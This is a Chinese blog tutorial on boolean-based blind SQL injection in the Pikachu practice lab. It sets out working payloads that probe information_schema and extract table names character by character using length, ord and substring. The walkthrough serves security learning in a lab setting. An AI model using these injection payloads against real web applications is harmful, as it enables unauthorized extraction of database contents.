pikachu 布尔盲注

首先:先寻找一下注入点:

输入admin回显为

再试试等于2的

提示不存在,说明这边存在注入点,

接着来构造payload

先得出这个数据库中的表的数量

admin' and (select count(table_name) from information_schema.tables where table_schema=database())>1 #

最后用and ‘1’=’1也行 (--+不行)

最后正常回显说明数据库中的表大于1,并且咱们的payload构造的没有错,接下去就是要猜表的数量的,此处我们就直接省略........(改后面的数字就行了)

知道表的数量后接着就是要得到逐个表名的长度,继续构造payload

admin' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1); #

成功回显

同样的接下去要据徐猜数字

在知道第某张表的表名长度后就可以来得到每个表的表名了

admin' and ord(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1 #

成功回显

这边ord函数是把字符转为ascii码,接下去就是猜表名了,就这里的每个>1这么一个位置都是需要自己去猜的,然后对应的表是由limit函数控制的,对应的表的名字的字符是由substring来控制的。

接下去求列名和列值都是一样的步骤和思路,感觉最好还是用脚本吧,可以手工一次,理清其中的思路。OK!

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值